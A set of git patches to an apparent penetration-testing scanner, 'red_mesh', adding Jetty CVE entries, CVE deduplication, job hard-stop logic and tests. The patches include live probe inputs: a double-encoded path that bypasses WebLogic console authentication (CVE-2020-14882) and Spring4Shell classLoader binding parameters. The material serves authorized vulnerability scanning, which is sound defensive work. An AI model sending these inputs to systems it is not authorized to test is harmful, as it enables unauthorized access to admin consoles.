0adc52d158a4fe99a9276ac22c4a830a003fb9f8 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 9 Mar 2026 00:39:50 +0000 Subject: [PATCH 31/42] fix: add jetty | fix CVE findings --- .../business/cybersec/red_mesh/cve_db.py | 6 + .../cybersec/red_mesh/pentester_api_01.py | 46 ++++ .../cybersec/red_mesh/test_redmesh.py | 249 +++++++++++++++++- .../cybersec/red_mesh/web_discovery_mixin.py | 57 ++++ .../cybersec/red_mesh/web_injection_mixin.py | 52 +++- 5 files changed, 402 insertions(+), 8 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/cve_db.py b/extensions/business/cybersec/red_mesh/cve_db.py index 965b833b..402d0414 100644 --- a/extensions/business/cybersec/red_mesh/cve_db.py +++ b/extensions/business/cybersec/red_mesh/cve_db.py @@ -200,6 +200,12 @@ class CveEntry: CveEntry("spring_cloud_function", ">=3.0.0,<3.1.7", "CVE-2022-22963", Severity.CRITICAL, "SpEL injection via routing header RCE", "CWE-94"), CveEntry("spring_cloud_function", ">=3.2.0,<3.2.3", "CVE-2022-22963", Severity.CRITICAL, "SpEL injection via routing header RCE", "CWE-94"), + # ── Eclipse Jetty ───────────────────────────────────────────── + CveEntry("jetty", ">=9.4.0,<9.4.52", "CVE-2023-26048", Severity.MEDIUM, "Request large content denial-of-service via multipart", "CWE-400"), + CveEntry("jetty", ">=9.4.0,<9.4.52", "CVE-2023-26049", Severity.MEDIUM, "Cookie parsing allows exfiltration of HttpOnly cookies", "CWE-200"), + CveEntry("jetty", ">=9.4.0,<9.4.54", "CVE-2023-36478", Severity.HIGH, "HTTP/2 HPACK integer overflow leads to buffer overflow", "CWE-190"), + CveEntry("jetty", ">=9.4.0,<9.4.51", "CVE-2023-40167", Severity.MEDIUM, "HTTP request smuggling via invalid Transfer-Encoding", "CWE-444"), + # ── BIND (DNS) ────────────────────────────────────────────────── CveEntry("bind", "<9.11.37", "CVE-2022-2795", Severity.MEDIUM, "Flooding targeted resolver with queries DoS", "CWE-400"), CveEntry("bind", "<9.16.33", "CVE-2022-3080", Severity.HIGH, "TKEY assertion failure DoS on DNAME resolution", "CWE-617"), diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index abb3d778..af73866e 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1462,6 +1462,52 @@ def parse_port(port_key): # D. Default credentials penalty credentials_penalty = min(cred_count * RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP) + # Deduplicate CVE findings: when the same CVE appears on the same port + # from different probes (behavioral + version-based), keep the higher + # confidence detection and drop the duplicate. + import re as _re_dedup + CONFIDENCE_RANK = {"certain": 3, "firm": 2, "tentative": 1} + cve_best = {} # (cve_id, port) -> index of best finding + drop_indices = set() + for idx, f in enumerate(flat_findings): + title = f.get("title", "") + m = _re_dedup.search(r"CVE-\d{4}-\d+", title) + if not m: + continue + cve_id = m.group(0) + port = f.get("port", 0) + key = (cve_id, port) + conf = CONFIDENCE_RANK.get(f.get("confidence", "tentative"), 0) + if key in cve_best: + prev_idx = cve_best[key] + prev_conf = CONFIDENCE_RANK.get(flat_findings[prev_idx].get("confidence", "tentative"), 0) + if conf > prev_conf: + drop_indices.add(prev_idx) + cve_best[key] = idx + else: + drop_indices.add(idx) + else: + cve_best[key] = idx + + if drop_indices: + flat_findings = [f for i, f in enumerate(flat_findings) if i not in drop_indices] + # Recalculate scores after dedup + findings_score = 0.0 + finding_counts = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0, "INFO": 0} + cred_count = 0 + for f in flat_findings: + severity = f.get("severity", "INFO").upper() + confidence = f.get("confidence", "firm").lower() + weight = RISK_SEVERITY_WEIGHTS.get(severity, 0) + multiplier = RISK_CONFIDENCE_MULTIPLIERS.get(confidence, 0.5) + findings_score += weight * multiplier + if severity in finding_counts: + finding_counts[severity] += 1 + title = f.get("title", "") + if isinstance(title, str) and "default credential accepted" in title.lower(): + cred_count += 1 + credentials_penalty = min(cred_count * RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP) + raw_total = findings_score + open_ports_score + breadth_score + credentials_penalty score = int(round(100.0 * (2.0 / (1.0 + math.exp(-RISK_SIGMOID_K * raw_total)) - 1.0))) score = max(0, min(100, score)) diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 92a25a57..69f5d22b 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -3195,13 +3195,13 @@ def test_open_ports_sorted_unique(self): self.assertEqual(result.to_dict()["total_open_ports"], [22, 80, 443]) def test_count_services(self): - """_count_services counts unique probe names across ports.""" + """_count_services counts ports with at least one detected service.""" plugin, _ = self._make_plugin() service_info = { "80": {"_service_info_http": {}, "_web_test_xss": {}}, "443": {"_service_info_https": {}, "_service_info_http": {}}, } - self.assertEqual(plugin._count_services(service_info), 3) + self.assertEqual(plugin._count_services(service_info), 2) self.assertEqual(plugin._count_services({}), 0) self.assertEqual(plugin._count_services(None), 0) @@ -7090,7 +7090,10 @@ def fake_get(url, **kwargs): resp.status_code = 200 resp.text = "App" resp.headers = {"Content-Type": "text/html"} - if "class.module.classLoader.DefaultAssertionStatus" in url: + if "class.INVALID_RM_CTRL" in url: + resp.status_code = 400 # Spring rejects bogus class path + resp.text = "Bad Request" + elif "class.module.classLoader.DefaultAssertionStatus" in url: resp.status_code = 200 # Spring accepted classLoader binding elif "class.module.classLoader.URLs" in url: resp.status_code = 400 # Type conversion error — binding attempted @@ -7116,6 +7119,245 @@ def fake_post(url, **kwargs): self.assertTrue(any("Spring4Shell" in t for t in titles), f"Should detect Spring4Shell via binding error. Got: {titles}") +class TestBatch5Improvements(unittest.TestCase): + """Tests for batch 5: Spring4Shell secondary gate, CVE dedup.""" + + def setUp(self): + if MANUAL_RUN: + print() + color_print(f"[MANUAL] >>> Starting <{self._testMethodName}>", color='b') + + def _build_worker(self, ports=None): + if ports is None: + ports = [80] + owner = DummyOwner() + worker = PentestLocalWorker( + owner=owner, + target="example.com", + job_id="job-batch5", + initiator="init@example", + local_id_prefix="1", + worker_target_ports=ports, + ) + worker.stop_event = MagicMock() + worker.stop_event.is_set.return_value = False + return owner, worker + + # ── Spring4Shell secondary gate ───────────────────────────────── + + def test_spring4shell_secondary_gate_detects_spring(self): + """Spring4Shell should be detected via URLs[0] secondary check when + DefaultAssertionStatus returns same 200 as control.""" + _, worker = self._build_worker(ports=[7108]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + resp.text = "App" + resp.headers = {"Content-Type": "text/html"} + # Both control and classLoader return 200 with same body (first gate can't distinguish) + if "class.INVALID_RM_CTRL.URLs" in url: + # Control URLs[0] → 200 (server ignores it) + resp.status_code = 200 + resp.text = "App" + elif "class.module.classLoader.URLs" in url: + # Spring binding error on URLs[0] → 400 + resp.status_code = 400 + resp.text = "Bad Request" + elif "class.INVALID_RM_CTRL" in url: + resp.status_code = 200 + resp.text = "App" + elif "class.module.classLoader.DefaultAssertionStatus" in url: + resp.status_code = 200 + resp.text = "App" + elif "/actuator" in url: + resp.status_code = 404 + resp.ok = False + resp.text = "" + return resp + + def fake_post(url, **kwargs): + resp = MagicMock() + resp.status_code = 404 + resp.text = "" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + result = worker._web_test_spring_actuator("1.2.3.4", 7108) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("Spring4Shell" in t for t in titles), + f"Should detect Spring4Shell via URLs[0] secondary gate. Got: {titles}") + # Check confidence is "firm" (not tentative) + spring4shell = [f for f in findings if "Spring4Shell" in f["title"]] + self.assertEqual(spring4shell[0]["confidence"], "firm") + + def test_spring4shell_secondary_gate_skips_catchall(self): + """Spring4Shell secondary gate should NOT flag catch-all servers + where both classLoader.URLs[0] and control.URLs[0] return 200.""" + _, worker = self._build_worker(ports=[7100]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + resp.text = "Default page" + resp.headers = {"Content-Type": "text/html"} + # Catch-all: returns 200 for everything + if "/actuator" in url: + resp.status_code = 404 + resp.ok = False + resp.text = "" + return resp + + def fake_post(url, **kwargs): + resp = MagicMock() + resp.status_code = 404 + resp.text = "" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + result = worker._web_test_spring_actuator("1.2.3.4", 7100) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertFalse(any("Spring4Shell" in t for t in titles), + f"Should NOT flag Spring4Shell on catch-all server. Got: {titles}") + + # ── CVE deduplication ─────────────────────────────────────────── + + def _get_plugin_class(self): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' not in sys.modules: + TestPhase1ConfigCID._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def test_cve_dedup_keeps_higher_confidence(self): + """Duplicate CVE on same port should be deduplicated, keeping higher confidence.""" + Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [7102], + "port_protocols": {"7102": "http"}, + "service_info": {}, + "web_tests_info": { + "7102": { + "_web_test_java_deserialization": { + "findings": [{ + "severity": "CRITICAL", + "title": "CVE-2017-10271: WebLogic deserialization endpoint /wls-wsat", + "confidence": "firm", + "cwe_id": "CWE-502", + }], + }, + "_web_test_java_servers": { + "findings": [{ + "severity": "CRITICAL", + "title": "CVE-2017-10271: XMLDecoder deserialization RCE via wls-wsat (weblogic 10.3.6.0)", + "confidence": "tentative", + "cwe_id": "CWE-502", + }], + }, + }, + }, + } + + risk_result, flat_findings = Plugin._compute_risk_and_findings(None, aggregated) + + cve_findings = [f for f in flat_findings if "CVE-2017-10271" in f.get("title", "")] + self.assertEqual(len(cve_findings), 1, f"Should have exactly 1 CVE-2017-10271, got {len(cve_findings)}") + self.assertEqual(cve_findings[0]["confidence"], "firm", "Should keep the 'firm' confidence finding") + + def test_cve_dedup_different_ports_kept(self): + """Same CVE on different ports should NOT be deduplicated.""" + Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [7102, 7103], + "port_protocols": {"7102": "http", "7103": "http"}, + "service_info": {}, + "web_tests_info": { + "7102": { + "_web_test_java_servers": { + "findings": [{ + "severity": "CRITICAL", + "title": "CVE-2020-14882: Console unauthenticated takeover RCE (weblogic 10.3.6.0)", + "confidence": "tentative", + "cwe_id": "CWE-306", + }], + }, + }, + "7103": { + "_web_test_java_servers": { + "findings": [{ + "severity": "CRITICAL", + "title": "CVE-2020-14882: Console unauthenticated takeover RCE (weblogic 12.2.1.3)", + "confidence": "tentative", + "cwe_id": "CWE-306", + }], + }, + }, + }, + } + + risk_result, flat_findings = Plugin._compute_risk_and_findings(None, aggregated) + + cve_findings = [f for f in flat_findings if "CVE-2020-14882" in f.get("title", "")] + self.assertEqual(len(cve_findings), 2, f"Same CVE on different ports should both be kept, got {len(cve_findings)}") + + def test_cve_dedup_non_cve_not_affected(self): + """Non-CVE findings should not be affected by deduplication.""" + Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [80], + "port_protocols": {"80": "http"}, + "service_info": {}, + "web_tests_info": { + "80": { + "_web_test_security_headers": { + "findings": [ + {"severity": "MEDIUM", "title": "Missing security header: CSP", "confidence": "certain", "cwe_id": ""}, + {"severity": "MEDIUM", "title": "Missing security header: CSP", "confidence": "certain", "cwe_id": ""}, + ], + }, + }, + }, + } + + risk_result, flat_findings = Plugin._compute_risk_and_findings(None, aggregated) + + # Non-CVE duplicates are NOT deduplicated (that's a different issue) + csp_findings = [f for f in flat_findings if "CSP" in f.get("title", "")] + self.assertEqual(len(csp_findings), 2, "Non-CVE findings should not be deduplicated") + + # ── Jetty CVE database ───────────────────────────────────────── + + def test_jetty_cve_2023_36478_match(self): + """CVE-2023-36478 should match Jetty 9.4.31.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("jetty", "9.4.31") + self.assertTrue(any("CVE-2023-36478" in f.title for f in findings)) + + def test_jetty_cve_2023_36478_patched(self): + """CVE-2023-36478 should NOT match Jetty 9.4.54.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("jetty", "9.4.54") + self.assertFalse(any("CVE-2023-36478" in f.title for f in findings)) + + def test_jetty_all_cves_match(self): + """Jetty 9.4.31 should match all 4 Jetty CVEs.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("jetty", "9.4.31") + cve_ids = {f.title.split(":")[0] for f in findings if "CVE-" in f.title} + expected = {"CVE-2023-26048", "CVE-2023-26049", "CVE-2023-36478", "CVE-2023-40167"} + self.assertEqual(cve_ids, expected, f"Should match all 4 Jetty CVEs, got {cve_ids}") + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -7145,4 +7387,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch2GapFixes)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch3GapFixes)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch4JavaGapFixes)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch5Improvements)) runner.run(suite) diff --git a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py index f80c9f34..e2c50fc8 100644 --- a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py @@ -888,6 +888,26 @@ def _web_test_java_servers(self, target, port): )) except Exception: pass + # CVE-2020-14882: Console authentication bypass via double-encoded path + try: + bypass_url = base_url + "/console/css/%252e%252e%252fconsole.portal" + resp = requests.get(bypass_url, timeout=4, verify=False, allow_redirects=False) + if resp.status_code == 200 and len(resp.text) > 500 and ( + "portal" in resp.text.lower() or "console" in resp.text.lower()): + findings_list.append(Finding( + severity=Severity.CRITICAL, + title="CVE-2020-14882: WebLogic console auth bypass confirmed", + description="WebLogic console authentication can be bypassed via " + "double-encoded path traversal, enabling unauthenticated " + "access to the admin console and RCE.", + evidence=f"GET {bypass_url} → 200 with console content.", + remediation="Upgrade WebLogic; restrict console access by IP.", + owasp_id="A01:2021", + cwe_id="CWE-306", + confidence="certain", + )) + except Exception: + pass return probe_result(raw_data=raw, findings=findings_list) # --- 2. Tomcat detection --- @@ -1096,6 +1116,43 @@ def _web_test_java_servers(self, target, port): remediation="Keep Struts2 updated; review OGNL injection mitigations.", confidence="firm", )) + # Advisory: flag critical Struts2 CVEs when version is unknown + findings_list.append(Finding( + severity=Severity.HIGH, + title="Struts2 detected — critical RCE CVEs likely applicable", + description="Apache Struts2 was detected but the version could not be " + "extracted. Most Struts2 versions are affected by at least one " + "critical OGNL injection RCE: CVE-2017-5638 (S2-045), " + "CVE-2017-9805 (S2-052), CVE-2020-17530 (S2-061). " + "Manual version verification recommended.", + evidence=f"Struts2 detected via {struts_evidence}, version unknown.", + remediation="Verify Struts2 version; upgrade to latest (>= 6.x). " + "Disable OGNL expression evaluation in user input.", + owasp_id="A06:2021", + cwe_id="CWE-94", + confidence="tentative", + )) + + # --- 6. Jetty detection (from Server header) --- + try: + resp = requests.get(base_url, timeout=3, verify=False) + srv = resp.headers.get("Server", "") + jetty_m = _re.search(r'[Jj]etty\(?(\d+\.\d+\.\d+)', srv) + if jetty_m: + jetty_version = jetty_m.group(1) + raw["java_server"] = raw.get("java_server") or "Jetty" + raw["version"] = raw.get("version") or jetty_version + findings_list.append(Finding( + severity=Severity.LOW, + title=f"Eclipse Jetty {jetty_version} detected", + description=f"Jetty {jetty_version} identified on {target}:{port} via Server header.", + evidence=f"Server: {srv}", + remediation="Keep Jetty updated; remove Server header in production.", + confidence="certain", + )) + findings_list += check_cves("jetty", jetty_version) + except Exception: + pass return probe_result(raw_data=raw, findings=findings_list) diff --git a/extensions/business/cybersec/red_mesh/web_injection_mixin.py b/extensions/business/cybersec/red_mesh/web_injection_mixin.py index 779abfe0..f5a77baa 100644 --- a/extensions/business/cybersec/red_mesh/web_injection_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_injection_mixin.py @@ -949,16 +949,58 @@ def _web_test_spring_actuator(self, target, port): # --- 3. Spring4Shell indicator: check if class.module access is possible --- # Safe detection: send parameter that would trigger Spring4Shell but - # only look for error patterns, not actual exploitation + # only look for error patterns, not actual exploitation. + # Control-parameter comparison prevents false positives on servers + # with catch-all handlers (Struts2/Jetty, plain Tomcat, JBoss) that + # return 200 for any unknown parameter. try: - resp = requests.get( + # Control: send a bogus class path that no framework would bind + resp_control = requests.get( + base_url + "/?class.INVALID_RM_CTRL.x=1", + timeout=3, + verify=False, + ) + resp_cl = requests.get( base_url + "/?class.module.classLoader.DefaultAssertionStatus=true", timeout=3, verify=False, ) - # If this returns 200 (not 400), the classLoader parameter binding may work - if resp.status_code == 200: - # Double-check with a known-bad parameter + # If both return 200 with similar body length, server MAY ignore params. + # Use URLs[0] as secondary differentiator: Spring will 400/500 on URLs[0]=0 + # while a catch-all server returns 200 unchanged. + if (resp_control.status_code == 200 and resp_cl.status_code == 200 and + abs(len(resp_control.text) - len(resp_cl.text)) < 50): + # Secondary check: URLs[0] differentiates Spring from catch-all servers + resp_urls = requests.get( + base_url + "/?class.module.classLoader.URLs%5B0%5D=0", + timeout=3, + verify=False, + ) + resp_urls_ctrl = requests.get( + base_url + "/?class.INVALID_RM_CTRL.URLs%5B0%5D=0", + timeout=3, + verify=False, + ) + if (resp_urls.status_code in (400, 500) and + resp_urls_ctrl.status_code == 200): + # Spring tried to bind classLoader.URLs[0] and got a type error, + # while the control was ignored — confirms Spring binding + findings_list.append(Finding( + severity=Severity.HIGH, + title="Spring4Shell (CVE-2022-22965) parameter binding indicator", + description="Spring MVC processes class.module.classLoader parameter " + "binding (type error on URLs[0] vs ignored control), " + "confirming Spring4Shell attack surface.", + evidence=f"classLoader.URLs[0]=0 → {resp_urls.status_code}, " + f"control.URLs[0]=0 → {resp_urls_ctrl.status_code}.", + remediation="Upgrade Spring Framework to >= 5.3.18 or >= 5.2.20.", + owasp_id="A03:2021", + cwe_id="CWE-94", + confidence="firm", + )) + elif resp_cl.status_code == 200: + # Only classLoader accepted (or significantly different response) — + # proceed with URLs[0] check resp2 = requests.get( base_url + "/?class.module.classLoader.URLs%5B0%5D=0", timeout=3, From 98050583a91274c8bb11928314dad12e3863f478 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 9 Mar 2026 08:30:51 +0200 Subject: [PATCH 32/42] fix: use running env port for signaling plugin readiness --- extensions/business/cybersec/red_mesh/pentester_api_01.py | 2 +- extensions/business/cybersec/red_mesh/redmesh_llm_agent_api.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 7bedf16b..f944b184 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -182,7 +182,7 @@ def on_init(self): def _setup_semaphore_env(self): """Set semaphore environment variables for paired plugins.""" localhost_ip = self.log.get_localhost_ip() - port = self.cfg_port + port = self.port # Standard keys (for shmem DYNAMIC_ENV resolution in containers) self.semaphore_set_env('HOST', localhost_ip) # Legacy API-prefixed keys (backward compatibility) diff --git a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_api.py b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_api.py index 14344721..e56f3a8d 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_api.py +++ b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_api.py @@ -167,7 +167,7 @@ def on_init(self): def _setup_semaphore_env(self): """Set semaphore environment variables for paired plugins.""" localhost_ip = self.log.get_localhost_ip() - port = self.cfg_port + port = self.port self.semaphore_set_env('HOST', localhost_ip) self.semaphore_set_env('API_HOST', localhost_ip) if port: From 2955d66c1855a1077a4b3ba499ec8629463196e6 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 9 Mar 2026 09:58:04 +0000 Subject: [PATCH 33/42] feat: job hard stop --- .../cybersec/red_mesh/pentester_api_01.py | 72 ++++++++++++++++--- 1 file changed, 62 insertions(+), 10 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index f944b184..19bffcc5 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -166,6 +166,7 @@ def on_init(self): self._audit_log = [] # Structured audit event log self.__last_checked_jobs = 0 self._last_progress_publish = 0 # timestamp of last live progress publish + self._foreign_jobs_logged = set() # job IDs we already logged "no worker entry" for self.__warmupstart = self.time() self.__warmup_done = False # Defer readiness if waiting for semaphore dependencies (e.g., LLM Agent) @@ -646,7 +647,8 @@ def _get_worker_entry(self, job_id, job_spec): """ workers = job_spec.setdefault("workers", {}) worker_entry = workers.get(self.ee_addr) - if worker_entry is None: + if worker_entry is None and job_id not in self._foreign_jobs_logged: + self._foreign_jobs_logged.add(job_id) self.Pd("No worker entry found for this node in job spec job_id={}, workers={}".format( job_id, self.json_dumps(workers)), @@ -1209,6 +1211,39 @@ def _close_job(self, job_id, canceled=False): return + def _maybe_stop_canceled_jobs(self): + """ + Detect jobs stopped via API on another node and stop local workers. + + When a HARD stop is issued, only the node that receives the API call + stops its own workers. This method polls CStore for STOPPED status + on jobs that are still running locally, signals their workers to stop + so they save partial results, and lets ``_maybe_close_jobs`` handle + the cleanup once threads exit. + + Runs on the same interval as ``_maybe_launch_jobs`` to avoid excessive + CStore queries. + + Returns + ------- + None + """ + if not self.scan_jobs: + return + + for job_id in list(self.scan_jobs): + raw = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) + if not raw: + continue + _, job_specs = self._normalize_job_record(job_id, raw) + job_status = job_specs.get("job_status") + if job_status == JOB_STATUS_STOPPED: + local_workers = self.scan_jobs.get(job_id, {}) + for local_worker_id, job in local_workers.items(): + if job.thread.is_alive() and not job.stop_event.is_set(): + self.P(f"Stopping local worker {local_worker_id} for job {job_id} (hard stop from CStore)") + job.stop() + def _maybe_close_jobs(self): """ Inspect running jobs and close those whose workers have finished. @@ -2877,16 +2912,16 @@ def get_audit_log(self, limit: int = 100): @BasePlugin.endpoint(method="post") def stop_monitoring(self, job_id: str, stop_type: str = "SOFT"): """ - Stop continuous monitoring for a job. + Stop a job (any run mode with HARD stop, continuous-only for SOFT stop). Parameters ---------- job_id : str - Identifier of the job to stop monitoring. + Identifier of the job to stop. stop_type : str, optional "SOFT" (default): Let current pass complete, then stop. - Sets job_status="SCHEDULED_FOR_STOP". - "HARD": Stop immediately. Sets job_status="STOPPED". + Sets job_status="SCHEDULED_FOR_STOP". Only valid for continuous monitoring. + "HARD": Stop immediately. Sets job_status="STOPPED". Works for any run mode. Returns ------- @@ -2898,18 +2933,33 @@ def stop_monitoring(self, job_id: str, stop_type: str = "SOFT"): return {"error": "Job not found", "job_id": job_id} _, job_specs = self._normalize_job_record(job_id, raw_job_specs) - if job_specs.get("run_mode") != RUN_MODE_CONTINUOUS_MONITORING: - return {"error": "Job is not in CONTINUOUS_MONITORING mode", "job_id": job_id} - stop_type = str(stop_type).upper() + is_continuous = job_specs.get("run_mode") == RUN_MODE_CONTINUOUS_MONITORING + + if stop_type != "HARD" and not is_continuous: + return {"error": "SOFT stop is only supported for CONTINUOUS_MONITORING jobs", "job_id": job_id} + passes_completed = job_specs.get("job_pass", 1) if stop_type == "HARD": + # Stop local workers if running + local_workers = self.scan_jobs.get(job_id) + if local_workers: + for local_worker_id, job in local_workers.items(): + self.P(f"Stopping job {job_id} on local worker {local_worker_id}.") + job.stop() + self.scan_jobs.pop(job_id, None) + + # Mark worker as finished/canceled in CStore + worker_entry = job_specs.setdefault("workers", {}).setdefault(self.ee_addr, {}) + worker_entry["finished"] = True + worker_entry["canceled"] = True + job_specs["job_status"] = JOB_STATUS_STOPPED self._emit_timeline_event(job_specs, "stopped", "Job stopped", actor_type="user") - self.P(f"[CONTINUOUS] Hard stop for job {job_id} after {passes_completed} passes") + self.P(f"Hard stop for job {job_id} after {passes_completed} passes") else: - # SOFT stop - let current pass complete + # SOFT stop - let current pass complete (continuous monitoring only) job_specs["job_status"] = JOB_STATUS_SCHEDULED_FOR_STOP self._emit_timeline_event(job_specs, "scheduled_for_stop", "Stop scheduled", actor_type="user") self.P(f"[CONTINUOUS] Soft stop scheduled for job {job_id} (will stop after current pass)") @@ -3396,6 +3446,8 @@ def process(self): self._maybe_launch_jobs() # Publish live progress for active scans self._publish_live_progress() + # Stop local workers for jobs that were stopped via API (multi-node propagation) + self._maybe_stop_canceled_jobs() # Check active jobs for completion self._maybe_close_jobs() # Finalize completed passes and handle continuous monitoring (launcher only) From d85f65b743f1083e863e85aa9f3f02d34ab1d411 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 9 Mar 2026 10:05:48 +0000 Subject: [PATCH 34/42] fix: job stop --- extensions/business/cybersec/red_mesh/pentester_api_01.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 19bffcc5..85906dcb 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1810,7 +1810,9 @@ def _maybe_finalize_pass(self): # Skip jobs that are already finalized or stopped if job_status in (JOB_STATUS_FINALIZED, JOB_STATUS_STOPPED): # Stuck recovery: if no job_cid, the archive build failed previously — retry - if not job_specs.get("job_cid"): + # But only if there are pass reports to build from (hard-stopped jobs + # that never completed a pass have nothing to archive) + if not job_specs.get("job_cid") and pass_reports: self.P(f"[STUCK RECOVERY] {job_id} is {job_status} but has no job_cid — retrying archive build", color='y') self._build_job_archive(job_id, job_specs) continue From 5322c5f0201de12ce589d8d7740c65e42481cc03 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 9 Mar 2026 10:42:12 +0000 Subject: [PATCH 35/42] fix: PoT --- .../cybersec/red_mesh/pentester_api_01.py | 31 +++++++++++++++++-- 1 file changed, 29 insertions(+), 2 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 85906dcb..eb548f16 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1890,7 +1890,7 @@ def _maybe_finalize_pass(self): self.P(f"Failed to store aggregated report for pass {job_pass} in R1FS", color='r') continue # skip pass finalization, retry next loop - # 7. ATTESTATION (best-effort, must not block finalization) + # 7. ATTESTATION — compute but don't emit timeline yet (inserted at correct point below) redmesh_test_attestation = None should_submit_attestation = True if run_mode == RUN_MODE_CONTINUOUS_MONITORING: @@ -1962,6 +1962,13 @@ def _maybe_finalize_pass(self): if run_mode == RUN_MODE_SINGLEPASS: job_specs["job_status"] = JOB_STATUS_FINALIZED self._emit_timeline_event(job_specs, "scan_completed", "Scan completed") + if redmesh_test_attestation is not None: + self._emit_timeline_event( + job_specs, "blockchain_submit", + "Job-finished attestation submitted", + actor_type="system", + meta={**redmesh_test_attestation, "network": "base-sepolia"} + ) self.P(f"[SINGLEPASS] Job {job_id} complete. Status set to FINALIZED.") self._emit_timeline_event(job_specs, "finalized", "Job finalized") self._build_job_archive(job_key, job_specs) @@ -1974,13 +1981,27 @@ def _maybe_finalize_pass(self): if job_status == JOB_STATUS_SCHEDULED_FOR_STOP: job_specs["job_status"] = JOB_STATUS_STOPPED self._emit_timeline_event(job_specs, "scan_completed", f"Scan completed (pass {job_pass})") + if redmesh_test_attestation is not None: + self._emit_timeline_event( + job_specs, "blockchain_submit", + f"Test attestation submitted (pass {job_pass})", + actor_type="system", + meta={**redmesh_test_attestation, "network": "base-sepolia"} + ) self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Status set to STOPPED (soft stop was scheduled)") self._emit_timeline_event(job_specs, "stopped", "Job stopped") self._build_job_archive(job_key, job_specs) self._clear_live_progress(job_id, list(workers.keys())) continue - # Schedule next pass + # Schedule next pass — attestation event goes with pass_completed + if redmesh_test_attestation is not None: + self._emit_timeline_event( + job_specs, "blockchain_submit", + f"Test attestation submitted (pass {job_pass})", + actor_type="system", + meta={**redmesh_test_attestation, "network": "base-sepolia"} + ) interval = job_config.get("monitor_interval", self.cfg_monitor_interval) jitter = random.uniform(0, self.cfg_monitor_jitter) job_specs["next_pass_at"] = self.time() + interval + jitter @@ -2443,6 +2464,12 @@ def launch_test( ) if redmesh_job_start_attestation is not None: job_specs["redmesh_job_start_attestation"] = redmesh_job_start_attestation + self._emit_timeline_event( + job_specs, "blockchain_submit", + "Job-start attestation submitted", + actor_type="system", + meta={**redmesh_job_start_attestation, "network": "base-sepolia"} + ) except Exception as exc: import traceback self.P( From e9b8323d1995f1965469f7e028cd6a75098609c6 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 9 Mar 2026 11:27:21 +0000 Subject: [PATCH 36/42] feat: add scanner nodes ips to the 